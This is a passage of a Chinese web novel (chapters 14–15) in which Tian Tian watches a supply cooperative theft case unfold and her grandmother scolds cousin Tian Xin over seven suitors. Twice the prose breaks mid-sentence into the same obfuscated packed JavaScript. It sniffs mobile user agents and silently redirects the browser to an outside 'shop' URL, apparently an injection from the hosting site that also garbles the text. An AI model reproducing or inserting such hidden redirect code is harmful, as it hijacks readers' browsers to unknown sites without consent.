田甜听着马小梅的各种吐槽,眼睛却观察今天过来协助办案的人。看完后确定了,整个供销社,上到社长,下到清洁工都被请了过来。 就在这时,财务科有个年轻男人凑了过来。对方跟田甜同样来了一年多。负责的也是可有可无的工作。 “田甜,昨天你怎么不在科里。有人说你……”说到最后,男人声音压得很低。眼神却意有所指。 田甜秒懂。不就是跟她打听,到底是不是她举报许科长他们的吗? 昨天因为抓奸混乱,很多人都不知道田甜带着账本跑了。但同个科室的,多多少少知道一些。 田甜当然不会承认。反正她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342611|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天是来当热心市民的。其他事情她一概不认。再说,她都卖了工作,现在不去供销社也没人说她。就是可惜今年的年底福利还没领。有那么一丢丢心疼。 男人见她一副木头人的样子,也就不再试探了。 而还在叭叭说个不停的马小梅,这时候忽然发出哎哟一声:“怎么没看到徐丽芬?不是说整个供销社的人都要来协助调查吗?对了,田甜。你知道发生什么事情了吗?我跟你说……” 然后又是一阵叭叭叭,对方说着许科长他们被抓的事情。 “真是看不出来,许科长他们还敢倒卖供销社的物资。我看徐丽芬跟许科长搞在一起。说不定也参与到这个事情来……” 不止徐丽芬,来的人有一个算一个都在那小声讨论。 昨天供销社先是出了抓奸,事情还没闹明白。奸夫许科长三人又被抓走。紧接着就是社长过来宣布关门。今天也休息。总之,大家都知道肯定不止跟奸情有关。不然不会抓走三个人。 经过一晚的发酵,消息灵通的都收到风了。 田甜竖起耳朵听着各种猜测。确定没自己的事情后,走了个过场,做了个笔录就走了出来。 之后供销社她也不去了。老老实实在家里等着看这次缉私案件的结果。 不过刚走出做笔录的地方,迎面就碰上了徐丽芬。对方脸上身上没多少伤。显然昨天的抓奸,并没有人打她。 “田甜,你个死三八。你说,是不是你害了我们?” 这话可真是够让人无语的。到底是谁先想害人啊!田甜不惯着她的臭毛病。 “你才是死八婆,死小三,破坏人家家庭的狐狸精。你自己脑子不清楚,跟犯罪分子勾结。还想给我下药害死我。你有这样的结局是你咎由自取。” 现在听到田甜的话,徐丽芬忽然不知道该怎么反驳,但眼睛不忘继续释放杀人光波。 不过田甜可不怕她。 不说上辈子对方断了自己的前途。光是这辈子,当徐丽芬决定当帮凶害死自己的时候,这个人就是自己的敌人。对敌人仁慈就是对自己残忍。 而从去年持续到现在的严打行动,就是徐丽芬的催命符。 无论是通奸、还是协助偷盗公家财产,任何一条罪名,足够徐丽芬吃上一颗花生米。 迎着对方杀人的目光,田甜昂首挺胸离开了缉私科。 —— 等回到村里,就看到田大伯娘跟何寡妇正打得激烈。 田甜上去一问,才知道是因为田芯的事情打起来。 “那田芯现在在哪里啊!” 田甜拉着她妈的手臂问到。她妈正跟几个好姐妹凑一起看热闹呢。听到女儿的话摇头:“说是从村委那跑了后,一直没有回来。” 田妈的姐妹一号直接道:“不用担心她啦!当时有七个靓仔跟着呢。不会出意外的。赶紧,淑雅啊。你看看你这个妯娌,打人可真是太阴毒了。” 田甜看过去,正好看到大伯娘用了揪咪这一招。 在场看热闹的大多数是女人。看到这一幕,一致发出嘶一声。 被喊过来准备解决问题的村长,立刻把脑袋转了过去。同时,吩咐几个妇女同志过去把两个人拉开。 不过,这两人战斗力都很强。大家怕被误伤,根本不敢上去。 就在这时,有人忽然指着村道喊道:“咩,那不是田芯吗?田芯妈,你家田芯回来啦,别打啦!” 田甜看过去,发现果然是田芯回来了。不过对方不是一个人回来的,身边还跟着两个熟悉的身影。 15. 第 15 章 “你们说说,你们说说。我们不过是去你们小姑家那住了一个月,家里怎么就出了这么多事情?” “你,陈霞。你说,你为什么跟何寡妇打起来?在那么多村里人面前打架,你很光荣了是吧!” “还有你,你别笑。田老二啊田老二,听说你跟你大哥算总账了是吧!算出来他欠你五十多。是不是觉得出息了啊!让村里人说你们兄弟不和!” “还有,谁笑呢!” 一阵噗呲的笑声,直接打断了这噼里啪啦的数落声。 田甜看着双手叉腰,站在客厅中央指点江山的自家阿婆,老老实实地举手:“阿婆,是我笑了。” 田阿婆见是一向乖巧的孙女在拆台,没好气地瞪了她一眼。刚刚那气势如虹的数落被打断,再要续起来就不是那么回事了。她干脆拖了把椅子,大马金刀地坐下。 田阿公立刻屁颠颠端着杯茶递了过去。田阿婆接过来喝了两口顺气,这才继续:“现在,一个个坐好。都给我说清楚这段时间到底发生什么事情?我一回村就被人拉着叭叭说个不停。还有你,田芯。你别躲着。你的事情也要说清楚。” 田甜见状,就把过去一个月发生的事情,一五一十地说了出来,也没加油添醋。 从大伯娘上门说亲,一直到田芯被七个靓仔找上门。 期间大伯娘一直插嘴,但每次都被田阿婆瞪了回去。等田甜说完,田阿婆已经不去想什么打架啊,吵架啊什么的。而是瞪大双眼看向田芯,活像一头喷火龙。 田甜见状,立刻嗖嗖嗖后退到自家老妈身边,双手捂住耳朵。 果然,下一秒。一阵咆哮声响起。 —— “田芯,你有病吗?” “田芯,你那么缺男人吗?” “七个男人啊!你这做的是人事吗?村里人都知道你脚踏七条船。七条船啊!你还骄傲了是吗?你以为这是脚踏七星啊?” 田甜这下不捂耳朵改捂嘴巴了。神一样的脚踏七星。最近港剧有个主角,就是生来脚踏七星,英武不凡。也不知道脚踏七条船,会有什么效果。嘿嘿。 田爸没有田甜这样低调,直接哈哈哈就笑出了声音。引来了田阿婆一个眼刀。但田爸一点都不怕。他从小到大不知道吃了多少眼刀。还不是好好地长那么大个仔。 田妈倒是知道收敛点。但她嘴角的笑也压不下去。能看到田芯被训,她很高兴。天知道,今天她在村里到底被多少人围着说田芯,以及她跟七个靓仔不得不说的故事。 从女儿嘴里她是早知道田芯有很多个备胎的。但没想到有一天这些备胎会一起找到村里。 村里不少人现在对田芯指指点点。但也有少部分人会说,她家田甜跟田芯是姐妹。田芯那么水性杨花,田甜估计也好不到哪里去。 这样的话听在田妈耳里,简直让她肺都要气炸。但她还不能跟人争辩。这种谣言,你越是解释越是被人说。 解释就是掩饰,掩饰就是唔出息。 所以她只能忍着这些恶心话。现在好了,婆婆回来了,她不用烦了。 田芯听着自家阿婆的数落,梗着脖子说道: “阿婆,那些都是谣言。我妈跟何寡妇打起来,就是因为何寡妇随便编排我跟那些男的。那几个男的都是我朋友。朋友结伴来找我,何寡妇看到后造谣。你不去找何寡妇算账就算了,居然还数落我这个受害者。阿婆,我爸是你亲生的吗?” 见田芯不知道错,还倒打一耙,田阿婆更气了。 —— 田大嫂见状立刻跟上:“就是。妈,知道你偏心老二一家。但你也不能这样说芯芯啊。她也是你亲孙女啊!刚刚田甜说什么你就信什么。轮到我家芯芯,你怎么就不信呢!” 越说田大嫂越激动,又把前段时间跟二房掰扯钱的事情说出来。 “还有,当年分家的时候,妈你就不公平。老二一家哪里来那么多钱?还不是你偏心,让他得了阿公、阿婆的遗产。要不是跟老二算账,我都不知道二房得了那么多钱。 芯芯爸也是阿公、阿婆的亲孙子,他们不可能那么偏心的。肯定是妈你把应该分给我们大房的遗产,全部给到二房……” 可能是今天发生的事情太多了。田大伯娘没有一点顾忌,又把陈年旧事拿出来说了一通。边说边哭,一副十分委屈的样子。 可惜,田阿婆不吃她那一套。 “哼,我可没偏心,对他们兄弟一碗水端平。你们不是算过账吗?我有偏心你们任何一家吗?没有!至于他们阿公、阿婆偏心老二,那是长辈的事情。陈霞,你要觉得不公平,就下去找他们说理去!” 田甜听到这话再一次忍不住笑了。整个村都找不到像她阿婆这样直接的老人了。 至于当事人田大伯娘,被这句下去找人的话气得脸红脖子粗。这话不就是让她下地府找人吗?好人家谁能下地府啊!这是让她去死啊! 好狠的婆婆! 田大伯娘哇啦哇啦哭得伤心欲绝。田大伯之前一直板着脸,看到这一幕上去劝。但没用,田大伯娘直接把他伸过来的手拍掉。 “田宝国,我怎么就嫁给你这个废柴啊。你妈让我去死啊,你都不吭声。” “陈霞,你骂老大做什么?整个事情跟老大有关系吗?你说分家不公平,但账本清清楚楚,没有一点不公平。至于他们阿公、阿婆偏心,这个我管不了。再有,我们现在是在说田芯脚踏七条船,你不要转移话题。” 田甜见拉偏的话题回到正轨,立刻跟着点头。 田芯在边上注意到了,朝田芯露出了个怨恨的目光。 在处理那七个男人的时候,田芯已经知道有人给他们寄信了。不止他们,县里还有好几个备胎也收到了同样的信件。不过他们跟自己的感情还不够深厚,所以才没有找到村里来。 饶是这样,田芯为了摆平这些男人,也花了大半天的时间。但结果不太好。大部分都表示以后跟她绝交。只剩下小猫三两只比较痴情,还盼望着等到她的感情。 这些让田芯实在难以接受。 养十多个备胎不是那么容易的。她花了那么多功夫。现在可以说得上是功亏一篑。罪魁祸首肯定是田甜。除了她,也没其他人会做这种事情。 这是田芯的直觉告诉她的。 田甜看田芯的眼珠子乱转,就知道这人又不干好事。 于是,又跟田阿婆说道:“阿婆,田芯的事情我不好管。但是,她这样下去不行的啊。今天村里都有人说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342612|199421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她找了七个老公了。明天附近的村子肯定都会听说。不如先让田芯避避风头。然后找村里人解释一下,田芯没有找七个老公。” 田芯听着田甜左一句七个老公,右一句七个老公,再次反驳:“我没有找七个老公。我清清白白的。他们都是我的朋友,朋友。” 田甜:“是是是,对对对。他们都是你的朋友。” 说着,田甜朝自家阿婆摊手,做出一副无奈的样子。 田阿婆大手一挥:“行了,老二你们一家先回去。田芯的事情我来管。” 说着看向田老大:“老大啊,先把田芯关在家里,最近不要让她出门了。至于你,陈霞。哭什么哭,赶紧洗把脸,跟我出去一家家说清楚。别让那些话传得到处都是。” 田阿婆不傻,知道田芯的事情十有八九是真的。但她当人阿婆,也不能眼睁睁看着孙女名声尽毁。 哎,田芯真是不生性【懂事】啊。 又看向准备走的田甜,心想幸好还有个乖孙女。 田芯看到这一幕,眼睛都红了。凭什么又是这样。田甜就是个好的,她田芯就不好。她不服。她也是很厉害的。谁能找那么多备胎啊!谁能从备胎身上拿到那么多东西?田甜上班一年多赚的那点银纸【钱】,她抬抬手就能从备胎那搞到了! 她不要被关在家里。剩下那些备胎还要花时间维护。她要被关在家里,那备胎过个年就没了。 不过,没人在意田芯的想法。 大家听田阿婆的话,各自开始忙起来。 —— 接下来几天,村里到处是田阿婆、田大伯娘跟人解释道歉拜托的话。 至于田甜一家,则是老老实实呆在家里准备过年。 期间时不时牛仔会给她送些关于供销社的消息。直到年二十八这天,供销社的事情有了结果。 消息还是牛仔给她带回来的。 供销社里面一共抓了十二个人。除了之前知道的许科长、卢科长、刘主管,还有好些仓库的人,以及几个财务科、采购科的职工。当然,徐丽芬也在里面。 再有一个,供销社的社长虽然没有参与到偷盗倒卖货物。但他是知情者。只是收了许科长的钱后,睁一只眼闭一只眼,直接不管这个事情。 现在被查出来,社长也被开除了。 不过,在被开除前,这个社长已经带着一家老小跑路了。据说跑到了港城。 田甜听着这些消息,觉得还真有点魔幻。 “这次供销社的事情闹得很大。可能晚点又有很多人找你打听消息。”牛仔蹲在门槛吃着田妈给他拿的葱油饼。不忘提醒田甜要注意。 “还有你把供销社工作卖了这个事情,村里估计很快人人都知道。到时候他们怕会说你傻。这么好的工作就卖了。” 田甜听到这耸耸肩。知道就知道呗。反正这工作太鸡肋了。而且最近村里的明星依然是田芯。自己这点事情算不了什么。等过完年,她就背起包袱下深市。这样更加不用怕人家说什么。 不过,还没等村里人来打听消息呢。家里就来了个不速之客。 “陈家豪,你来我家做什么?” 田甜看着这个上辈子让自己全县出名的男人,表情一言难尽。